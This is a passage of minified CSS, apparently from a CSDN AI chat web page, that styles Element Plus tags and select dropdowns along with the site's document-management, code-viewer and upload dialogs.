.el-tag--dark.el-tag--info{--el-tag-text-color:var(--el-color-white)}.el-tag--plain{--el-tag-border-color:var(--el-color-primary-light-5);--el-tag-hover-color:var(--el-color-primary);--el-tag-bg-color:var(--el-fill-color-blank)}.el-tag--plain.el-tag--primary{--el-tag-bg-color:var(--el-fill-color-blank);--el-tag-border-color:var(--el-color-primary-light-5);--el-tag-hover-color:var(--el-color-primary)}.el-tag--plain.el-tag--success{--el-tag-bg-color:var(--el-fill-color-blank);--el-tag-border-color:var(--el-color-success-light-5);--el-tag-hover-color:var(--el-color-success)}.el-tag--plain.el-tag--warning{--el-tag-bg-color:var(--el-fill-color-blank);--el-tag-border-color:var(--el-color-warning-light-5);--el-tag-hover-color:var(--el-color-warning)}.el-tag--plain.el-tag--danger{--el-tag-bg-color:var(--el-fill-color-blank);--el-tag-border-color:var(--el-color-danger-light-5);--el-tag-hover-color:var(--el-color-danger)}.el-tag--plain.el-tag--error{--el-tag-bg-color:var(--el-fill-color-blank);--el-tag-border-color:var(--el-color-error-light-5);--el-tag-hover-color:var(--el-color-error)}.el-tag--plain.el-tag--info{--el-tag-bg-color:var(--el-fill-color-blank);--el-tag-border-color:var(--el-color-info-light-5);--el-tag-hover-color:var(--el-color-info)}.el-tag.is-closable{padding-right:5px}.el-tag--large{padding:0 11px;height:32px;--el-icon-size:16px}.el-tag--large .el-tag__close{margin-left:8px}.el-tag--large.is-closable{padding-right:7px}.el-tag--small{padding:0 7px;height:20px;--el-icon-size:12px}.el-tag--small .el-tag__close{margin-left:4px}.el-tag--small.is-closable{padding-right:3px}.el-tag--small .el-icon-close{transform:scale(.8)}.el-tag.el-tag--primary.is-hit{border-color:var(--el-color-primary)}.el-tag.el-tag--success.is-hit{border-color:var(--el-color-success)}.el-tag.el-tag--warning.is-hit{border-color:var(--el-color-warning)}.el-tag.el-tag--danger.is-hit{border-color:var(--el-color-danger)}.el-tag.el-tag--error.is-hit{border-color:var(--el-color-error)}.el-tag.el-tag--info.is-hit{border-color:var(--el-color-info)}.el-select-dropdown__item{font-size:var(--el-font-size-base);padding:0 32px 0 20px;position:relative;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;color:var(--el-text-color-regular);height:34px;line-height:34px;box-sizing:border-box;cursor:pointer}.el-select-dropdown__item.is-disabled{color:var(--el-text-color-placeholder);cursor:not-allowed}.el-select-dropdown__item.hover,.el-select-dropdown__item:hover{background-color:var(--el-fill-color-light)}.el-select-dropdown__item.selected{color:var(--el-color-primary);font-weight:700}.el-select-group{margin:0;padding:0}.el-select-group__wrap{position:relative;list-style:none;margin:0;padding:0}.el-select-group__wrap:not(:last-of-type){padding-bottom:24px}.el-select-group__wrap:not(:last-of-type):after{content:"";position:absolute;display:block;left:20px;right:20px;bottom:12px;height:1px;background:var(--el-border-color-light)}.el-select-group__split-dash{position:absolute;left:20px;right:20px;height:1px;background:var(--el-border-color-light)}.el-select-group__title{padding-left:20px;font-size:12px;color:var(--el-color-info);line-height:30px}.el-select-group .el-select-dropdown__item{padding-left:20px}.el-select-dropdown{z-index:calc(var(--el-index-top) + 1);border-radius:var(--el-border-radius-base);box-sizing:border-box}.el-select-dropdown.is-multiple .el-select-dropdown__item.selected{color:var(--el-color-primary);background-color:var(--el-bg-color-overlay)}.el-select-dropdown.is-multiple .el-select-dropdown__item.selected.hover{background-color:var(--el-fill-color-light)}.el-select-dropdown.is-multiple .el-select-dropdown__item.selected:after{content:"";position:absolute;top:50%;right:20px;border-top:none;border-right:none;background-repeat:no-repeat;background-position:center;background-color:var(--el-color-primary);-webkit-mask:url("data:image/svg+xml;utf8,%3Csvg class='icon' width='200' height='200' viewBox='0 0 1024 1024' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill='currentColor' d='M406.656 706.944L195.84 496.256a32 32 0 10-45.248 45.248l256 256 512-512a32 32 0 00-45.248-45.248L406.592 706.944z'%3E%3C/path%3E%3C/svg%3E") no-repeat;mask:url("data:image/svg+xml;utf8,%3Csvg class='icon' width='200' height='200' viewBox='0 0 1024 1024' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill='currentColor' d='M406.656 706.944L195.84 496.256a32 32 0 10-45.248 45.248l256 256 512-512a32 32 0 00-45.248-45.248L406.592 706.944z'%3E%3C/path%3E%3C/svg%3E") no-repeat;mask-size:100% 100%;-webkit-mask:url("data:image/svg+xml;utf8,%3Csvg class='icon' width='200' height='200' viewBox='0 0 1024 1024' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill='currentColor' d='M406.656 706.944L195.84 496.256a32 32 0 10-45.248 45.248l256 256 512-512a32 32 0 00-45.248-45.248L406.592 706.944z'%3E%3C/path%3E%3C/svg%3E") no-repeat;-webkit-mask-size:100% 100%;transform:translateY(-50%);width:12px;height:12px}.el-select-dropdown.is-multiple .el-select-dropdown__item.selected.is-disabled:after{background-color:var(--el-text-color-disabled)}.el-select-dropdown .el-select-dropdown__option-item.is-selected:after{content:"";position:absolute;top:50%;right:20px;border-top:none;border-right:none;background-repeat:no-repeat;background-position:center;background-color:var(--el-color-primary);-webkit-mask:url("data:image/svg+xml;utf8,%3Csvg class='icon' width='200' height='200' viewBox='0 0 1024 1024' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill='currentColor' d='M406.656 706.944L195.84 496.256a32 32 0 10-45.248 45.248l256 256 512-512a32 32 0 00-45.248-45.248L406.592 706.944z'%3E%3C/path%3E%3C/svg%3E") no-repeat;mask:url("data:image/svg+xml;utf8,%3Csvg class='icon' width='200' height='200' viewBox='0 0 1024 1024' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill='currentColor' d='M406.656 706.944L195.84 496.256a32 32 0 10-45.248 45.248l256 256 512-512a32 32 0 00-45.248-45.248L406.592 706.944z'%3E%3C/path%3E%3C/svg%3E") no-repeat;mask-size:100% 100%;-webkit-mask:url("data:image/svg+xml;utf8,%3Csvg class='icon' width='200' height='200' viewBox='0 0 1024 1024' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill='currentColor' d='M406.656 706.944L195.84 496.256a32 32 0 10-45.248 45.248l256 256 512-512a32 32 0 00-45.248-45.248L406.592 706.944z'%3E%3C/path%3E%3C/svg%3E") no-repeat;-webkit-mask-size:100% 100%;transform:translateY(-50%);width:12px;height:12px}.el-select-dropdown .el-scrollbar.is-empty .el-select-dropdown__list{padding:0}.el-select-dropdown .el-select-dropdown__item.is-disabled:hover{background-color:unset}.el-select-dropdown .el-select-dropdown__item.is-disabled.selected{color:var(--el-text-color-disabled)}.el-select-dropdown__empty{padding:10px 0;margin:0;text-align:center;color:var(--el-text-color-secondary);font-size:var(--el-select-font-size)}.el-select-dropdown__wrap{max-height:274px}.el-select-dropdown__list{list-style:none;padding:6px 0;margin:0;box-sizing:border-box}.el-select-dropdown__header{padding:10px;border-bottom:1px solid var(--el-border-color-light)}.el-select-dropdown__footer{padding:10px;border-top:1px solid var(--el-border-color-light)}.el-select{--el-select-border-color-hover:var(--el-border-color-hover);--el-select-disabled-border:var(--el-disabled-border-color);--el-select-font-size:var(--el-font-size-base);--el-select-close-hover-color:var(--el-text-color-secondary);--el-select-input-color:var(--el-text-color-placeholder);--el-select-multiple-input-color:var(--el-text-color-regular);--el-select-input-focus-border-color:var(--el-color-primary);--el-select-input-font-size:14px}.el-select{display:inline-block;position:relative;vertical-align:middle;line-height:32px}.el-select__popper.el-popper{background:var(--el-bg-color-overlay);border:1px solid var(--el-border-color-light);box-shadow:var(--el-box-shadow-light)}.el-select__popper.el-popper .el-popper__arrow:before{border:1px solid var(--el-border-color-light)}.el-select__popper.el-popper[data-popper-placement^=top] .el-popper__arrow:before{border-top-color:transparent;border-left-color:transparent}.el-select__popper.el-popper[data-popper-placement^=bottom] .el-popper__arrow:before{border-bottom-color:transparent;border-right-color:transparent}.el-select__popper.el-popper[data-popper-placement^=left] .el-popper__arrow:before{border-left-color:transparent;border-bottom-color:transparent}.el-select__popper.el-popper[data-popper-placement^=right] .el-popper__arrow:before{border-right-color:transparent;border-top-color:transparent}.el-select .el-select-tags-wrapper.has-prefix{margin-left:6px}.el-select--large{line-height:40px}.el-select--large .el-select-tags-wrapper.has-prefix{margin-left:8px}.el-select--small{line-height:24px}.el-select--small .el-select-tags-wrapper.has-prefix{margin-left:4px}.el-select .el-select__tags>span{display:inline-block}.el-select:hover:not(.el-select--disabled) .el-input__wrapper{box-shadow:0 0 0 1px var(--el-select-border-color-hover) inset}.el-select .el-select__tags-text{display:inline-block;line-height:normal;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.el-select .el-input__wrapper{cursor:pointer}.el-select .el-input__wrapper.is-focus{box-shadow:0 0 0 1px var(--el-select-input-focus-border-color) inset!important}.el-select .el-input__inner{cursor:pointer}.el-select .el-input{display:flex}.el-select .el-input .el-select__caret{color:var(--el-select-input-color);font-size:var(--el-select-input-font-size);transition:transform var(--el-transition-duration);transform:rotate(0);cursor:pointer}.el-select .el-input .el-select__caret.is-reverse{transform:rotate(-180deg)}.el-select .el-input .el-select__caret.is-show-close{font-size:var(--el-select-font-size);text-align:center;transform:rotate(0);border-radius:var(--el-border-radius-circle);color:var(--el-select-input-color);transition:var(--el-transition-color)}.el-select .el-input .el-select__caret.is-show-close:hover{color:var(--el-select-close-hover-color)}.el-select .el-input .el-select__caret.el-icon{position:relative;height:inherit;z-index:2}.el-select .el-input.is-disabled .el-input__wrapper{cursor:not-allowed}.el-select .el-input.is-disabled .el-input__wrapper:hover{box-shadow:0 0 0 1px var(--el-select-disabled-border) inset}.el-select .el-input.is-disabled .el-input__inner,.el-select .el-input.is-disabled .el-select__caret{cursor:not-allowed}.el-select .el-input.is-focus .el-input__wrapper{box-shadow:0 0 0 1px var(--el-select-input-focus-border-color) inset!important}.el-select__input{border:none;outline:0;padding:0;margin-left:15px;color:var(--el-select-multiple-input-color);font-size:var(--el-select-font-size);-webkit-appearance:none;-moz-appearance:none;appearance:none;height:28px;background-color:transparent}.el-select__input.is-disabled{cursor:not-allowed}.el-select__input--iOS{position:absolute;left:0;top:0;z-index:6}.el-select__input.is-small{height:14px}.el-select__close{cursor:pointer;position:absolute;top:8px;z-index:var(--el-index-top);right:25px;color:var(--el-select-input-color);line-height:18px;font-size:var(--el-select-input-font-size)}.el-select__close:hover{color:var(--el-select-close-hover-color)}.el-select__tags{position:absolute;line-height:normal;top:50%;transform:translateY(-50%);white-space:normal;z-index:var(--el-index-normal);display:flex;align-items:center;flex-wrap:wrap;cursor:pointer}.el-select__tags .el-tag{box-sizing:border-box;border-color:transparent;margin:2px 6px 2px 0}.el-select__tags .el-tag:last-child{margin-right:0}.el-select__tags .el-tag .el-icon-close{background-color:var(--el-text-color-placeholder);right:-7px;top:0;color:#fff}.el-select__tags .el-tag .el-icon-close:hover{background-color:var(--el-text-color-secondary)}.el-select__tags .el-tag .el-icon-close:before{display:block;transform:translateY(.5px)}.el-select__tags .el-tag--info{background-color:var(--el-fill-color)}.el-select__tags.is-disabled{cursor:not-allowed}.el-select__collapse-tags{white-space:normal;z-index:var(--el-index-normal);display:flex;align-items:center;flex-wrap:wrap;cursor:pointer}.el-select__collapse-tags .el-tag{box-sizing:border-box;border-color:transparent;margin:2px 6px 2px 0}.el-select__collapse-tags .el-tag:last-child{margin-right:0}.el-select__collapse-tags .el-tag .el-icon-close{background-color:var(--el-text-color-placeholder);right:-7px;top:0;color:#fff}.el-select__collapse-tags .el-tag .el-icon-close:hover{background-color:var(--el-text-color-secondary)}.el-select__collapse-tags .el-tag .el-icon-close:before{display:block;transform:translateY(.5px)}.el-select__collapse-tags .el-tag--info{background-color:var(--el-fill-color)}.el-select__collapse-tag{line-height:inherit;height:inherit;display:flex}@media screen and (min-width: 769px){.scroll-bar-style:hover::-webkit-scrollbar-thumb,.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row:hover::-webkit-scrollbar-thumb{box-shadow:inset 0 0 5px #0000001a;background:#f7f7fc}.scroll-bar-style::-webkit-scrollbar,.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row::-webkit-scrollbar{width:5px;height:5px}.scroll-bar-style::-webkit-scrollbar-thumb,.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row::-webkit-scrollbar-thumb{border-radius:10px;box-shadow:inset 0 0 5px #0000;background:#0000}.scroll-bar-style::-webkit-scrollbar-track,.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row::-webkit-scrollbar-track{border-radius:10px;background:#0000}}.el-dialog.chat-doc-manage-modal{padding:0}.el-dialog.chat-doc-manage-modal .el-loading-mask{background-color:transparent}.el-dialog.chat-doc-manage-modal .el-dialog__header{padding:24px 24px 0;font-size:16px;font-weight:500;color:#222226}.el-dialog.chat-doc-manage-modal .el-dialog__header .el-dialog__headerbtn{color:#999aaa;top:0}.el-dialog.chat-doc-manage-modal .el-dialog__header .el-dialog__headerbtn:hover .el-dialog__close{color:#999aaa}.el-dialog.chat-doc-manage-modal .el-dialog__body{padding:0 24px}.el-dialog.chat-doc-manage-modal .empty-data .is-loaded{padding-top:90px}.el-dialog.chat-doc-manage-modal .empty-data .is-loaded img{-webkit-user-select:none;user-select:none;width:120px;display:block;margin:0 auto}.el-dialog.chat-doc-manage-modal .empty-data .is-loaded p{text-align:center;font-weight:400;margin:0;font-size:14px;color:#555666;line-height:20px}.chat-doc-manage-list-wrap{height:523px;padding:0 16px 24px;overflow:hidden}.chat-doc-manage-list-wrap .chat-doc-manage-list{height:100%}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer{overflow:hidden}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer *{box-sizing:border-box}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-header{width:100%;margin:5px 0}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-header .table-header-it{font-size:14px;line-height:40px;padding:0 4px;font-size:12px;font-weight:400;color:#999aaa;-webkit-user-select:none;user-select:none}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-header .table-header-it.pointer{cursor:pointer}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row{height:450px;overflow-y:auto}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row .table-item{height:55px;background:#fff;border-radius:4px;overflow:hidden;transition:background .2s linear;border-bottom:1px solid #e8e8f0}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row .table-item:first-child{margin-top:0}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row .table-item:hover{background:linear-gradient(to right,#0000000a,#0000)}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row .table-item:hover .table-item-it,.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row .table-item:hover .table-item-it.fileName span{color:#6d5ffd}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row .table-item:hover .doc-icon{background:url(//cdn-static-devbit.csdn.net/ai100/chat/imgs/v2/file-active.svg)!important}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row .table-item-it{padding:0 4px;flex-shrink:0;line-height:54px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;font-size:14px;font-weight:400;color:#555666;cursor:default}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row .table-item-it:not(.fileName){-webkit-user-select:none;user-select:none}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row .table-item-it:last-child{border-right:none}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row .table-item-it.fileName{font-size:0}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row .table-item-it.fileName span,.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row .table-item-it.fileName img{vertical-align:middle}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row .table-item-it.fileName span{color:#222226}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row .table-item-it.fileName .doc-icon{display:inline-block;background:url(//cdn-static-devbit.csdn.net/ai100/chat/imgs/v2/file.svg);background-size:contain;width:18px;height:18px;margin-right:8px;vertical-align:middle}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row .table-item-it.actions button{cursor:pointer;width:40px;line-height:20px;border-radius:8px;border:1px solid rgb(87,79,245);font-size:12px;font-weight:400;margin-right:10px;color:#fff;box-sizing:border-box}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row .table-item-it.actions button.primary-btn{color:#6d5ffd;background-color:#fff}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row .table-item-it.actions button.primary-btn:hover{border:1px solid rgb(109,95,253)}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row .table-item-it.actions button.no-ghost{background:linear-gradient(115.24deg,#bb89fa 2.14%,#635bff 96.77%);border:none;line-height:22px}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row .table-item-it.actions button.no-ghost:hover{background:#6d5ffd}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row .table-item-it.actions i{font-size:16px;cursor:pointer}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-row .table-item-it.actions i:hover{color:#595959}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .table-footer{display:flex;justify-content:center;margin-top:16px}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .chat-doc-manage-list-pagination.is-background .el-pager li{font-size:12px;transition:all .2s}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .chat-doc-manage-list-pagination.is-background .el-pager li:hover{font-weight:700;color:#222226}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .chat-doc-manage-list-pagination.is-background .el-pager li.is-active{background-color:#555666}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .chat-doc-manage-list-pagination.is-background .el-pager li.is-active:hover{color:#fff}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .chat-doc-manage-list-pagination.is-background .btn-prev:disabled{color:#e8e8ed}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .chat-doc-manage-list-pagination button{color:#555665}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .chat-doc-manage-list-pagination.is-background .btn-next:hover,.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .chat-doc-manage-list-pagination.is-background .btn-prev:hover{color:#222226}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .chat-doc-manage-list-pagination.is-background .btn-next:disabled,.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .chat-doc-manage-list-pagination.is-background .btn-prev:disabled{color:#e8e8ed}.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .chat-doc-manage-list-pagination.is-background .btn-next,.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .chat-doc-manage-list-pagination.is-background .btn-prev,.chat-doc-manage-list-wrap .chat-doc-manage-list .table-outer .chat-doc-manage-list-pagination.is-background .el-pager li{background-color:#fff;border-radius:4px}.chat-doc-manage-list-wrap .chat-doc-manage-list .flex{display:flex}.chat-doc-manage-list-wrap .chat-doc-manage-list .flex1{flex:1}.chat-doc-manage-list-wrap .chat-doc-manage-list .flex-warp{flex-wrap:wrap}.chat-doc-manage-list-wrap .chat-doc-manage-list .flex-direction-cloumn{flex-direction:column}.chat-doc-manage-list-wrap .chat-doc-manage-list .justify-content-between{justify-content:space-between}.chat-doc-manage-list-wrap .chat-doc-manage-list .justify-content-center{justify-content:center}.chat-doc-manage-list-wrap .chat-doc-manage-list .align-items-center{align-items:center}.chat-doc-manage-list-wrap .chat-doc-manage-list .align-content-between{align-content:space-between}.chat-doc-delete-confirm-dialog{width:366px;padding:22px}.chat-doc-delete-confirm-dialog .chat-doc-button{padding:0 16px;line-height:38px;border-radius:8px;border:1px solid rgb(109,95,253);background-color:#fff;font-size:12px;outline:none;font-weight:500;color:#6d5ffd;cursor:pointer;transition:all .2s}.chat-doc-delete-confirm-dialog .chat-doc-button:hover{border-color:#6d5ffd;background:#fff;color:#6d5ffd}.chat-doc-delete-confirm-dialog .chat-doc-button.primary{color:#fff;border-color:#6d5ffd;background-color:#6d5ffd}.chat-doc-delete-confirm-dialog .chat-doc-button.primary:hover{background-color:#6d5ffd}.chat-doc-delete-confirm-dialog .chat-doc-button.disable{cursor:not-allowed;border:none;background-color:#6d5ffd80}.chat-doc-delete-confirm-dialog .chat-doc-button.disable:hover{background-color:#6d5ffd80}.chat-doc-delete-confirm-dialog .chat-doc-button{padding:0 16px}.chat-doc-delete-confirm-dialog .el-message-box__headerbtn{top:12px;right:12px}.chat-doc-delete-confirm-dialog .el-message-box__content{padding-bottom:32px}.item-end{width:100%;text-align:center;padding:6px 0;color:#999;font-size:12px}.el-dialog.chat-doc-manage-modal{background-repeat:no-repeat;background-size:100% 100%;overflow:hidden;padding:0}.el-dialog.chat-doc-manage-modal .chat-doc-button{padding:0 16px;line-height:38px;border-radius:8px;border:1px solid rgb(109,95,253);background-color:#fff;font-size:12px;outline:none;font-weight:500;color:#6d5ffd;cursor:pointer;transition:all .2s}.el-dialog.chat-doc-manage-modal .chat-doc-button:hover{border-color:#6d5ffd;background:#fff;color:#6d5ffd}.el-dialog.chat-doc-manage-modal .chat-doc-button.primary{color:#fff;border-color:#6d5ffd;background-color:#6d5ffd}.el-dialog.chat-doc-manage-modal .chat-doc-button.primary:hover{background-color:#6d5ffd}.el-dialog.chat-doc-manage-modal .chat-doc-button.disable{cursor:not-allowed;border:none;background-color:#6d5ffd80}.el-dialog.chat-doc-manage-modal .chat-doc-button.disable:hover{background-color:#6d5ffd80}.el-dialog.chat-doc-manage-modal .dialog-footer button:first-child{margin-right:12px}.el-dialog.chat-doc-manage-modal .el-dialog__header{position:relative;height:74px;margin-right:0;padding-right:16px;background:linear-gradient(270deg,#ebf5ff,#efe3ff)}.el-dialog.chat-doc-manage-modal .el-dialog__header .my-header{position:absolute;padding:24px 24px 0;top:0;left:0;bottom:0;right:0;display:block;content:" ";background:linear-gradient(180deg,#fff0,#fff)}.el-dialog.chat-doc-manage-modal .el-dialog__footer{display:none}.el-dialog.chat-doc-manage-modal .footer-btns{display:block;padding:18px 0 24px;width:100%;text-align:right}.el-dialog.chat-doc-manage-modal .footer-btns button{margin-left:16px}.el-dialog.chat-doc-manage-modal .footer-btns button:first-child{margin-left:0}@media screen and (min-width: 769px){.scroll-bar-style:hover::-webkit-scrollbar-thumb,.el-dialog.chat-code-manage-modal .code-container:hover::-webkit-scrollbar-thumb{box-shadow:inset 0 0 5px #0000001a;background:#f7f7fc}.scroll-bar-style::-webkit-scrollbar,.el-dialog.chat-code-manage-modal .code-container::-webkit-scrollbar{width:5px;height:5px}.scroll-bar-style::-webkit-scrollbar-thumb,.el-dialog.chat-code-manage-modal .code-container::-webkit-scrollbar-thumb{border-radius:10px;box-shadow:inset 0 0 5px #0000;background:#0000}.scroll-bar-style::-webkit-scrollbar-track,.el-dialog.chat-code-manage-modal .code-container::-webkit-scrollbar-track{border-radius:10px;background:#0000}}.el-dialog.chat-code-manage-modal{background-repeat:no-repeat;background-size:100% 100%;overflow:hidden;padding:16px}.el-dialog.chat-code-manage-modal .chat-doc-button{padding:0 16px;line-height:38px;border-radius:8px;border:1px solid rgb(109,95,253);background-color:#fff;font-size:12px;outline:none;font-weight:500;color:#6d5ffd;cursor:pointer;transition:all .2s}.el-dialog.chat-code-manage-modal .chat-doc-button:hover{border-color:#6d5ffd;background:#fff;color:#6d5ffd}.el-dialog.chat-code-manage-modal .chat-doc-button.primary{color:#fff;border-color:#6d5ffd;background-color:#6d5ffd}.el-dialog.chat-code-manage-modal .chat-doc-button.primary:hover{background-color:#6d5ffd}.el-dialog.chat-code-manage-modal .chat-doc-button.disable{cursor:not-allowed;border:none;background-color:#6d5ffd80}.el-dialog.chat-code-manage-modal .chat-doc-button.disable:hover{background-color:#6d5ffd80}.el-dialog.chat-code-manage-modal .el-dialog__header{padding:0}.el-dialog.chat-code-manage-modal .el-dialog__header button{top:6px}.el-dialog.chat-code-manage-modal .el-dialog__body{padding:8px 0}.el-dialog.chat-code-manage-modal .code-radius{border-radius:8px;overflow:hidden}.el-dialog.chat-code-manage-modal .code-container{width:100%;height:416px;overflow:auto;position:relative;background:#1c1c28;display:flex;padding:16px 8px;box-sizing:border-box;font-size:12px;line-height:20px}.el-dialog.chat-code-manage-modal .code-container::-webkit-scrollbar{width:2px;height:2px}.el-dialog.chat-code-manage-modal .code-container .lines{min-width:32px}.el-dialog.chat-code-manage-modal .code-container .lines li{width:100%;text-align:center}.el-dialog.chat-code-manage-modal .code-container .code{min-width:calc(100% - 32px);min-height:100%;width:max-content;height:max-content;margin:0;display:block;outline:none;padding:0 0 0 8px;color:var(--color-text-desc);counter-reset:mycounter;white-space:pre;background:inherit;caret-color:#fc5531}.el-dialog.chat-code-manage-modal .code-container .code::-webkit-scrollbar{display:none}.el-dialog.chat-code-manage-modal .dialog-footer button:first-child{margin-right:12px}.el-dialog.chat-code-manage-modal .el-dialog__footer{display:none}.el-dialog.chat-code-manage-modal .footer-btns{display:block;padding:18px 0 0;width:100%;text-align:right}.el-dialog.chat-code-manage-modal .footer-btns .chat-doc-button{height:40px;border-radius:20px;padding:0 40px}.el-dialog.chat-code-manage-modal .footer-btns button{margin-left:16px}.el-dialog.chat-code-manage-modal .footer-btns button:first-child{margin-left:0}.chat-doc_upload-button-pro[data-v-6b8f6474]{position:relative;z-index:2;background-color:#fff;padding:10px;height:100%;border-radius:12px 12px 0 0}.chat-doc_upload-button-pro[data-v-6b8f6474]:after{content:"";position:absolute;bottom:0;left:10px;width:calc(100% - 20px);height:1px;background:#f2f2f5}.chat-doc_upload-button-pro button[data-v-6b8f6474]{width:max-content;max-width:50%;font-size:14px;height:24px;background-color:#6d5ffd0d;border:1px dashed rgba(109,95,253,.4);border-radius:4px;color:#6d5ffd;font-weight:500;text-align:center;display:flex;column-gap:4px;padding:0 6px 0 10px;align-items:center;box-sizing:border-box;cursor:pointer;overflow:hidden}.chat-doc_upload-button-pro button .doc-name[data-v-6b8f6474]{flex:1;text-align:left;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.chat-doc_upload-button-pro button .icon-close[data-v-6b8f6474]{padding:4px;line-height:10px;box-sizing:border-box}.chat-doc_upload-button-pro button .doc-icon[data-v-6b8f6474]{width:18px;height:18px;text-align:center}.dialog-linear-gradient-modal-fk{--el-overlay-color-lighter: rgba(0, 0, 0, .3)}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk{--el-dialog-padding-primary: 22px;border-radius:16px;padding:22px}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__header{padding:0}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__header .el-dialog__title{color:#000;font-size:18px;font-style:normal;font-weight:400;line-height:24px}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__body{padding:22px 0}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__body .dialog-linear-gradient-fk_content{position:relative}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__body .dialog-linear-gradient-fk_content .fk_content—input{border-radius:8px;padding:0}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__body .dialog-linear-gradient-fk_content .fk_content—input .fk_content—input-border{border-radius:8px;background-color:#fff;border:1px solid #ccccd8;transition:border-color .2s}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__body .dialog-linear-gradient-fk_content .fk_content—input .fk_content—input-border:hover{border-color:#6d5ffd}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__body .dialog-linear-gradient-fk_content .fk_content—input.is-focus{padding:1px;background:linear-gradient(135deg,#c77af4cc,#2f1bffcc)}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__body .dialog-linear-gradient-fk_content .fk_content—input.is-focus .fk_content—input-border{border-radius:7px;border:none}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__body .dialog-linear-gradient-fk_content .el-input{--el-input-height: 40px;--el-input-border-radius: 8px}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__body .dialog-linear-gradient-fk_content .el-input .el-input__wrapper{box-shadow:none;border:none}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__body .dialog-linear-gradient-fk_content .el-input .el-input__prefix .el-icon.el-input__icon{font-size:20px;color:#8f8fa6}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__body .dialog-linear-gradient-fk_content .error-tip{position:absolute;left:3px;top:44px;color:#fc5531;font-size:12px;font-style:normal;font-weight:400;line-height:24px}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__footer{padding:0}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__footer .dialog-footer{line-height:0}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__footer .gradient-button{height:30px;text-align:center;cursor:pointer;border-radius:8px;overflow:hidden;display:inline-block;background:#fff;border:1px solid #6d5ffd;color:#6d5ffd;box-sizing:border-box;margin-left:8px;font-size:0;-webkit-user-select:none;user-select:none}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__footer .gradient-button .gradient-button_hover{background-color:transparent;width:100%;height:100%;padding:1px}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__footer 